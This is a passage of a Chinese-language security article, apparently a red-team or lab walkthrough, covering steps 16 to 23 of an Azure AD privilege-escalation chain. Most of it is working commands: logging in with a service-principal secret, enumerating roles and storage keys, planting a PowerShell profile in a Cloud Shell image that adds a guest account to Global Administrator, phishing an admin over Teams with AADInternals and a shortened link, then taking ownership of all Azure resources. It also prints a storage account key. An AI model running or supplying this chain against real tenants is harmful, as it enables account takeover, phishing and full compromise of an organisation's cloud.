73);"><span leaf="">-</span></span><span leaf="">ObjectId </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ServicePrincipal</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.ObjectId</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">EndDate </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;01-01-2030 12:00:00&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">StartDate </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;06-07-2021 12:00:00&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Value SuperDuperPassword</span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">16. 作为服务主体进行身份验证</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">AppID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ServicePrincipal</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">.AppId</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Secret</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;SuperDuperPassword&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">TenantID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;2230b2b1-298b-4b13-9de5-852b1d16f118&#39;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">SecureStringPWD</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">ConvertTo-SecureString</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Secret</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">AsPlainText </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Force</span><br/><span leaf="">[</span><span style="color: rgb(215, 58, 73);"><span leaf="">PSCredential</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">New-Object</span></span><span leaf=""> System.Management.Automation.PSCredential (</span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">AppID</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">,</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">SecureStringPWD</span></span><span leaf="">)</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Connect-AzAccount</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Credential </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">ServicePrincipal </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Tenant </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">TenantID</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># AppId: 4253003a-bd22-4b6c-a536-cc532d74483b</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># Secret: SuperDuperPassword</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># Tenant: 2230b2b1-298b-4b13-9de5-852b1d16f118</span></span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">az login -u 4253003a-bd22-4b6c-a536-cc532d74483b -p SuperDuperPassword -t 2230b2b1-298b-4b13-9de5-852b1d16f118 --allow-no-subscriptions --service-principal</span></code></pre><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (管理组上的存储账户参与者)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：WSL (Ubuntu)、Az CLI、AADInternals</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">17. 枚举 RBAC 权限</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">az role assignment list --assignee 4253003a-bd22-4b6c-a536-cc532d74483b --include-inherited --all --query </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}&#39;</span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="应用程序作为存储账户参与者" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012260" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=71938411&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSho8dUT1ZbkE9NOhpXole8Wkia4TIUEQgtruVia3sEmoHDZaiag2Xyub5aZmdYxZiaTaHLQf9IwXaPibeRLP2U7wgazT64lDAtEHh40%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">应用程序作为存储账户参与者</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">18. 枚举密钥、存储账户、共享和文件</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">az storage account list --query </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;[].{Name:name}&#39;</span></span><br/><span leaf="">az storage share list --account-name cloudshellprivadmin</span><br/><span leaf="">az storage file list --share-name cspa --account-name cloudshellprivadmin</span><br/><span leaf="">az storage account keys list -n cloudshellprivadmin</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="云枚举结果" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012264" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ab554ba9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgHqyPZmtWZ9kpG2NfSbEWp9gTBUgN9txib7znDsQONYaZ8icByWlsPE2iapZzGFYiatoblZiax3ZhE0Yk3zibpKonOdSTTcwlX0uvUM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">云枚举结果</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">19. 下载镜像文件，挂载它，投毒，然后重新上传到存储账户</span></h4><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">az storage file download-batch -d C:</span><span style="color: rgb(0, 92, 197);"><span leaf="">\U</span></span><span leaf="">sers</span><span style="color: rgb(0, 92, 197);"><span leaf="">\A</span></span><span leaf="">zure</span><span style="color: rgb(0, 92, 197);"><span leaf="">\o</span></span><span leaf="">utput -s cspa --account-name cloudshellprivadmin --account-key </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;FzfTMIy/dLhhlKo3lgQ91iF8mFgQ2eiXc2ECmeEvI3YjQCaf7QoE107r80awbsOAt/Y822+MdASDjZ1Ps+FBwQ==&#34;</span></span><br/><span leaf="">ubuntu.exe</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">cd</span></span><span leaf=""> /mnt/c/Users/Azure/output/.cloudconsole</span><br/><span leaf="">sudo mkdir /cloudpoison</span><br/><span leaf="">sudo mount acc_privadmin.img /cloudpoison</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">cd</span></span><span leaf=""> /cloudpoison</span><br/><span leaf="">sudo mkdir .config</span><br/><span leaf="">sudo mkdir .config/PowerShell</span><br/><span leaf="">sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1</span><br/><span leaf="">sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;&gt;</span></span><span leaf=""> .config/PowerShell/Microsoft.PowerShell_profile.ps1</span><br/><span leaf="">sudo umount /cloudpoison</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">exit</span></span><br/><span leaf="">az storage file upload --account-key </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;FzfTMIy/dLhhlKo3lgQ91iF8mFgQ2eiXc2ECmeEvI3YjQCaf7QoE107r80awbsOAt/Y822+MdASDjZ1Ps+FBwQ==&#34;</span></span><span leaf=""> --account-name cloudshellprivadmin --share-name cspa --path </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.cloudconsole/acc_privadmin.img&#34;</span></span><span leaf=""> --source </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.\output\.cloudconsole\acc_privadmin.img&#34;</span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="上传投毒文件" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012261" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=845d4c3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShDZiapRsf0a8pCDp3Ribl3p0LR4qGUMkT4g9EicumuVn2S6KibNtic0wia4QAcbbfGJUVyuQEF10lAmia4j6JvNx9icjuZM2YkSy7TlM4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">上传投毒文件</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">20. 通过内部钓鱼欺骗 privadmin 用户打开云 Shell</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 bitly 或其他工具缩短 <a href="https://shell.azure.com/" target="_blank">https://shell.azure.com/</a> URL。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">Install-Module</span></span><span leaf=""> AADInternals</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Import-Module</span></span><span leaf=""> AADInternals</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Get-Credential</span></span><br/><span style="color: rgb(106, 115, 125);"><span leaf=""># 获取 Teams 的访问令牌</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Get-AADIntAccessTokenForTeams</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Credentials </span><span style="color: rgb(215, 58, 73);"><span leaf="">$</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">Credentials</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">SaveToCache</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Send-AADIntTeamsMessage</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Recipients </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;privadmin@adsikkerhed.dk&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span leaf="">Message </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Check this site out, trust me its not a rickroll: <a href="https://bit.ly/3FjFPVh" target="_blank">https://bit.ly/3FjFPVh</a>&#34;</span></span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="内部钓鱼消息" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012263" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a64fad8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgn1jt70HU51PlMkeKhZU5kXOWnFqOcibDiabJnBVJ0yElmJUQuannp3gnTMjlic1tagmMkwjg0XYovyubaUOOMzJRQ46etTLEibR4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">内部钓鱼消息</span></figcaption></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Teams 内部钓鱼" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012262" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c7976be5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjUDo8FnpOKrrcN2DUibDep6Bgicjmcbh8ryThXQJ3TwFwfPcuVHvIiahbNTN6ItZ0ZeyTCic2kDQBdRcXzEYkSW92uuib5LNY5Ra6I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Teams 内部钓鱼</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">21. 当进入链接时，privadmin 被提供 azure 云 Shell。他不知道的是，当 PowerShell 配置文件加载时，投毒的云镜像将在 Azure AD 租户中授予我们的访客用户 &#34;Global Administrator&#34; 权限</span></h4><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Teams 内部钓鱼 - 云 Shell" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012265" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ce7321e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSg3DWZ7QzkWtdeBbmdnVfdZrRL3Fy5juTp093dbzwOwzl8icddPusDGwGib7t7Om9HJvdeXbFV00rHxNVmTUia0wWf2KJY9cVbr3E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">Teams 内部钓鱼 - 云 Shell</span></figcaption></figure><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (Azure AD 租户中的全局管理员)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：Azure Portal</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">22. 我们可以通过登录我们自己的访客用户来确认我们新授予的角色</span></h4><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="访客用户是 GA" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012266" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=285528e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjp138pfUKt6oTUsfI3PAaicb0J24tyzDhYr829URMSVGia9wk27QeCgK0dx34egicHcKXqcgibvibTWoKawte3rofhuSU5YzVBydgc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">访客用户是 GA</span></figcaption></figure><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">23. 使用我们新委派的特权角色，我们将自己提升为租户根管理组上的 &#34;User Access Administrator&#34;，然后授予自己整个 Azure 资源环境的完全所有权</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Azure Active Directory &gt; 属性 &gt; Azure 资源的访问管理 &gt; &#34;是&#34; 并保存</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="提升为用户访问管理员" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012267" style="max-width: 100%;" data-type="png" 